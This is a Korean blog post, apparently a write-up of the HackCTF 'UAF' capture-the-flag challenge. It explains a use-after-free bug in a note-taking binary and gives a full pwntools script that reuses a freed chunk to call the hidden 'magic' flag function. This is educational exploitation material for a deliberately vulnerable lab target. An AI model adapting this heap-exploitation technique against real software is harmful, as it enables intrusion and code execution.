상세 컨텐츠

본문 제목

[HackCTF] UAF

SYSTEM HACKING/HackCTF

by koharin 2020. 1. 19. 17:27

본문

728x90
반응형

# contents

 

메뉴 ::

 

1번 : add_note - heap 영역 할당

2번 : del_note -  heap 영역 해제

3번 : print_note - 내용 출력

4번 : exit

 

magic ::

 

flag 출력 함수

 

 

# process

 

1. heap 2개 할당 (0x90, 0x100)

 

2. 할당한 heap 2개 해제

 

3. fastChunk 1개 (0x20) 할당

- 할당한 index는 2번 청크인데, 0번과 같은 사이즈라서 0번 청크에 할당된다.

- magic 주소를 적어놓는다.

 

4. print_note로 0번 청크 내용 출력

-  0번 청크를 해제했지만 여전히 0번 청크의 포인터는 해당 heap 영역을 가리키고 있는 상태라서

print_note로 0번을 출력할 수 있다.

 

이것이 UAF(Use After Free) 이다.

 

 

# exploit code

 

#!/usr/bin/python
from pwn import *

#context.log_level = 'debug'
#p = process("./uaf")
p = remote("ctf.j0n9hyun.xyz", 3020)
#gdb.attach(p)
elf = ELF("./uaf")
magic = elf.symbols['magic']

def add_note(size, content):
    p.recvuntil(" :")
    p.sendline("1")
    p.recv()
    p.sendline(str(size))
    p.recv()
    p.sendline(content)
    p.recv()

def del_note(index):
    p.recvuntil(" :")
    p.sendline("2")
    p.recv()
    p.sendline(str(index))
    p.recv()

def print_note(index):
    p.recvuntil(" :")
    p.sendline("3")
    p.recv()
    p.sendline(str(index))

add_note(0x90, "AAA")
add_note(0x100, "BBB")
#add_note(0x30, '')
#add_note(0x30, '')

del_note(0)
del_note(1)

add_note(0x20, p32(magic))

print_note(0)

p.interactive()

 

 

# exploit

 

 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] Unexploitable #2  (0) 2020.01.19
[HackCTF] Unexploitable #1  (0) 2020.01.19
[HackCTF] Random Key  (0) 2020.01.18
[HackCTF] ROP  (3) 2020.01.16
[HackCTF] pwning  (0) 2020.01.15

관련글 더보기